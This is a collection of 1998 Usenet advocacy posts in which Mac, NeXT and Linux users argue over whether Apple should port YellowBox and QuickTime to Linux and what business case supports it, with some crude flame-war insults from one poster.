Apple doesn't have to port YB to Linux to be part of the OpenSource
movement any more than RedHat has to port GNOME to OSX.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 29 Dec 1998 04:50:19 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <769n2b$9tm@news1.panix.com>
References: <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <75v93b$v55$1@nnrp1.dejanews.com> <ch3-2412982322100001@1cust237.tnt7.redmond.wa.da.uu.net> <3683696D.BD0633B3@nstar.net> <ch3-2612980907270001@1cust12.tnt2.redmond.wa.da.uu.net> <3685466B.3F311F53@nstar.net> <ch3-2712981055290001@1cust11.tnt5.redmond.wa.da.uu.net> <slrn78fqcb.t7e.jedi@dementia.mishnet>
On Mon, 28 Dec 1998 12:26:51 -0800,
jedi@dementia.mishnet <jedi@dementia.mishnet> wrote:
>On Sun, 27 Dec 1998 10:55:28 -0800, c hand <ch3@earthlink.net.rem.ove.this> wrote:
>>Unless Apple can charge $200-300 per YB license, I don't see how they'd
>>make money out of it. Perhaps you could lobby them to include the YB/GUI
>>for Linux in as a bundle with OSX/S?
> If they are at the point with this technology of theirs that
> a mere port to yet another unix core (underneath) would
> require them to charge $200-$300 per user licence after
> the subsequent port to make that port profitable: then
> that technology already has fundemental flaws from the
> point of view of any other unix already...
It isn't the technology that would require that price, it is the need not to
devalue the investments they have made in hardware, OS technologies and other
areas. Apple is in the unique position to use hardware to add value to software
and software to add value to hardware. I think it would be rather shortsighted
to give that up just to sell cheap development tools.
>>>Whatever it is, they grew by 212% last year. How did WebObjects sales
>>>fare, Colin?
>>I would say that WO sales alone exceeded the total revenue
>>for the entire Linux software market.
> Start quoting some hard numbers and something more than
> hot air. Although, with the kind of Margins that Apple
> likes to reserve for itself (Macs as expensive as new
> Nissan compact trucks), a WO sales revenue statistic
> could very well be a 'damned lie'.
I doubt very much that sales of WO are greater than the "entire Linux
software market"; but, they are good enough that folks from the WO group
have claimed (in private conversations) that WO sales "could fund future
YB development all by itself"
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 29 Dec 1998 04:52:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <769n5j$9uc@news1.panix.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <36868276.0@stan.astra.co.uk> <3687CC30.8AC17F2E@ericsson.com>
On Mon, 28 Dec 1998 12:21:36 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>> however sadly it wouldn't achieve very much, other than perhaps constituting
>> some sort of rather heart-warmingly seasonal 'Net hug.
>I've already stated that there is demand for Apple's product.
Just because there is a demand doesn't mean that there is an effective
way of meeting that demand.
> You can
>either believe that or not; I don't know whether you're asking for
>evidence of that, as Chuck Swiger was. In any case, I've identified a
>market.
No you haven't. You can't just point to 9 million Linux users and call
them a "target market" for YellowBox anymore than I can point to 100
million windows users and call them a "target market" for a glow in
the dark mouse. Why? Because only some segment of either market would
find value in either product.
How many of those 9 million Linux users do commercial development and
would like a cross platform RAD system? How many of them write Apps
where EOF and PDO would be a benefit? Those small subsets of the Linux
market would be the "target market" for YB on Linux.
<<clip>>
>So I guess we're left, from a traditional business case perspective,
>with the cost issue. How much will it cost to perform and support, and
>can the market support that number in sales,
>
>OR (this "OR" is introduced by the unorthodox methods of free software)
>
>Will the benefits (not named in this business case) of giving away
>runtimes outweigh the aforementioned costs?
>
>That's a question I cannot answer, as I've often said to you. It is a
>question *you* cannot answer. I would love to know that Apple is
>attempting to answer it.
I'd be willing to bet that Apple is very aware of this and that the
answer is one that you would not like.
<<clip>>
>> Indeed; what is *significant* is that no-one else has managed to propose a
>> business case.
>Maybe you ought to make "painfully clear" what you're looking for. Who
>knows? Maybe somebody can provide it. But as long as you continue to ask
>for this elusive "business case" and one keeps throwing information and
>arguments at you, there seems to be no resolution to your question.
>Exasperating, ah...
Perhaps if a "business case" is far too hard for you to make, then you
should at least consider the possibility that we object to YB for Linux
for the reason that a "business case" for it is too hard to justify.
Apple has finite resources and it perhaps makes no sense to waste them on
projects that don't seem to have a clear business case to support them.
<<clip>>
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Tue, 29 Dec 1998 15:57:54 +1100
Organization: OzEmail Ltd.
Message-ID: <769ngp$qql$1@reader1.reader.news.ozemail.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net> <3686ED85.255995F1@nstar.net> <suvidya-2812980625020001@119.newark-18-19rs.nj.dial-access.att.net> <3687C9FF.E6EAE91@ericsson.com>
Sorry to jump in...
Michael Peck wrote in message <3687C9FF.E6EAE91@ericsson.com>...
>Arun Gupta wrote:
>> However, wealth is generated by
>> learning how to do things better, and that in turn is driven by competition.
>
>No, not necessarily. The structure of liberty allows many ways of
>accomplishing the same thing; some are more efficient than others.
>Economic calculation based on voluntary exchange of goods and services
>demonstrates that this "free market" streamlines itself; i.e., the most
>efficient ways of accomplishing the goals chosen by participants in the
>free market are chosen by the amalgamation of thousands, millions, and
>billions of transactions.
I think it's more that capitalism and competition means that the person or
company that does it better will make more money, hence grow more etc.
The ones that aren't doing as good a job automatically earn less, and
may go out of business.
It's only when half of a company has the best product around, and funds
the other half which is not so good, that competition fails. This is
the DOJ trial really - MS browser wouldn't be this successful, but MS success
in another area has been used to make the browser more dominant.
(the law is more subtle than that - I think you can be "encouraged" to use
the less successful, but not _forced_ through a monopoly control)
>> But here we have a free-market advocate saying "Don't compete, you will fail".
>
>Yes, that is entirely correct.
And this is the other side. It makes the assumption that Apple's underlying
OS is not of key value to Apple or to its customers. So why push resources
into that area when you can compete in your best areas only?
Just thoughts. Now to go for a weeks holiday!
Greg
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Tue, 29 Dec 1998 16:15:57 +1100
Organization: OzEmail Ltd.
Message-ID: <769oil$16a$1@reader1.reader.news.ozemail.net>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <76172n$jqj$1@reader1.reader.news.ozemail.net> <ch3-2612980856320001@1cust12.tnt2.redmond.wa.da.uu.net> <766k8q$2bi$1@reader1.reader.news.ozemail.net> <ch3-2812981021160001@1cust30.tnt4.redmond.wa.da.uu.net>
c hand wrote:
>Greg Alexander wrote:
>>Sorry Colin, but haven't you asked several times "what's in it for Apple?"?
>>Isn't this an answer to that?
>
><s> the way that Apple is licensing YB/Win* runtimes is a good example of why
>this idea is not a great one. The price at which they are licensing will likely
>result in them losing money. And this is with a minimum unit purchase.
I agree it's no good if Apple loses money - Particularly if the more successful YB
is, the more Apple loses! Can Apple profit with very low
cost runtimes, and then charge developers? I guess it could work, but why
must developers use Apple's YB development environment (sorry I'm not a
developer - maybe there's a reason they MUST use Apple?)
BTW: I agree with your comment about WebObjects for Linux being attractive,
and that would fund development costs for YB. (of course it doesn't help the
runtime for every computer).
>Apple would need to sell the package for at least the price of their own OS.
>Even if it was made a product, I remain convinced that Linux users will
>buy a proprietary software package that would become a key integral part
>of their user experience, that is free on Win.
In some other post (somewhere in this group recently...) I thought Apple could
charge the same for MOSX as Redhat+a Mac add on (inc GUI, Quicktime, Carbon).
The real difference is that it will run on Intel. Also, this isn't saying "YB very cheap on
Windows, but pay more on Linux" - it's saying "YB very cheap on Windows, pay more
on Linux but ALSO get MacGUI and apps". It also leaves room for 2 products on Linux -
a cheap one with YB-Linux to achieve a goal of being THE cross platform technology,
and another more expensive one (competing in some ways with Mac hardware/OS) that
offers Carbon apps, the MacGUI, NetInfo etc.
Would _either_ of those be attractive to Apple?
>>Some people say Apple selling YB (or some Mac-Quicktime/YB/Carbon/GUI
>>add on) will cut into apple's sales.
>
>I think you actually might have something here. But, forget about Carbon.
>Carbon is only for PPC Macs.
Quicktime on Windows is written using MacAPIs - I am told there's a similarity
with Carbon's APIs. Cross platform Carbon _may_ be easier than people realise.
>Now, what I would suggest is that Linux advocates
>get together and create a proposal to present to Apple, lobbying that Linux be
>included under the next major revision of QuickTime(5) which is likely to be a
>complete rewrite in YellowBox. Though QT is not likely to be the *entire* YB,
>it would probably include a signficant subset; at least enough to become a
>very productive API. Apple could then sell QuickTime/Linux for $30-50. Apple
>would make money, and it fits into their business strategy of QuickTime as the
>cross-platform standard for content creation.
Or if Quicktime 4 is already being ported to Linux, it may have much of Carbon,
so a Quicktime/Carbon/YB could be sold for $50 or more. Remember that
buying YB doesn't give a user much until there's an app they want. Quicktime
is certainly more attractive. And access to all Mac apps would be VERY
attractive. On LinuxPPC Carbon apps would run easily, and Intel would need
a recompile.
Just thoughts. Holiday time now.
Greg
Message-ID: <36887CA8.65360D5B@nstar.net>
Date: Tue, 29 Dec 1998 00:54:32 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <36868276.0@stan.astra.co.uk> <3687CC30.8AC17F2E@ericsson.com> <769n5j$9uc@news1.panix.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sal Denaro wrote:
[cut]
> No you haven't. You can't just point to 9 million Linux users and call
> them a "target market" for YellowBox anymore than I can point to 100
> million windows users and call them a "target market" for a glow in
> the dark mouse. Why? Because only some segment of either market would
> find value in either product.
A funny thing happened today, and your posting triggered the memory: my
coworker, Sean, sent me a frustrated email with a link to the Apple
Store. Apparently, he wanted to buy an iMac USB mouse for his home
Windows PC. Unfortunately, the Apple Store has been down for the entire
holiday season...
The title of the email is "Why Apple Will Never Amount to Anything"
(it's sort of an inside joke). Sean is normally an Apple fan.
[cut]
MJP
From: Z1159 <z1159@ix.netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: ABCNEWS.com on OS alternatives in 1999
Date: Tue, 29 Dec 1998 17:27:15 -0600
Organization: ICGNetcom
Message-ID: <36896553.1657A784@ix.netcom.com>
References: <3687EE76.D60F651@ix.netcom.com> <B2ADA8DA-98E5B@204.31.112.229>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Phil Brewster wrote:
> It looks like news of MacOS X is starting to hit the mainstream....
>
> <link snipped because it blows>
What kind of article purports to discuss new operating systems and
ignores Linux,FreeBSD,Plan 9/Eclipse,BeOS and QNX and wastes space
instead on those parallel butt polyps MacOS and Windows?
> --
> Phil Brewster (pjbrew at ix dot netcom dot com)
>
> "There is more to life than increasing its speed."
>
> -- M. Gandhi
Wasn't he like an enema freak or something?
From: Z1159 <z1159@ix.netcom.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: In Your Guts You Know Steve Is Nuts
Date: Tue, 29 Dec 1998 17:44:27 -0600
Organization: ICGNetcom
Message-ID: <3689695B.D934E4AF@ix.netcom.com>
References: <74iq7i$c30$1@remarQ.com> <74j82g$m9h$1@mars.darmstadt.gmd.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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> >What more can I say. Apple, please bring out OS X and please take over the
> >world with it.
NeXT was a technologically superior product,as superior to "mainstream" products
as the FW 190,the Me-262,the 88mm AAA gun,and the Type IX U-boat were over Allied
products.Nevertheless,the Germans lost.
Why is this? Could it be,you can't have a sound Apple with a rotten core? Germany
went from economic disaster to economic superpower to utter ruin in no time at
all,historically speaking,and Apple will do likewise for the same reason.
I don't need to tell you why,you know why.In your guts,you know he's nuts.As long
as a sociopath runs the enterprise,you are headed at warp speed for the nearest
black hole.History will look at Commodore,at Xerox PARC and at Symbolics with
sympathy compared to Apple.
From: Michael.Peck@ericsson.com
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Tue, 29 Dec 1998 10:09:31 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <76a9or$9kq$1@nnrp1.dejanews.com>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <76172n$jqj$1@reader1.reader.news.ozemail.net> <ch3-2612980856320001@1cust12.tnt2.redmond.wa.da.uu.net> <766k8q$2bi$1@reader1.reader.news.ozemail.net> <ch3-2812981015180001@1cust30.tnt4.redmond.wa.da.uu.net> <3687DF5E.2F591E@ericsson.com> <769n29$9tm@news1.panix.com>
In article <769n29$9tm@news1.panix.com>,
sal@panix.com wrote:
> On Mon, 28 Dec 1998 13:43:26 -0600,
> Michael Peck <michael.peck@ericsson.com> wrote:
[cut]
> A better comparison would be Qt:Harmony as YB:GNUStep.
Right. That's the comparison I was posing. Unfortunately, that comparison
doesn't currently exist because YB doesn't run on the platforms for which
GNUStep is being developed. Qt runs almost everywhere, due to the
open-mindedness of its sponsors.
> GNUStep?
What was that about Apple?
> QuickTime as an open standard?
This is different? Microsoft's own specifications are published as open
standards.
> Publishing the source code changes
> to the BSD-lite tree? I think they are in a very similar position.
In a word, no.
MJP
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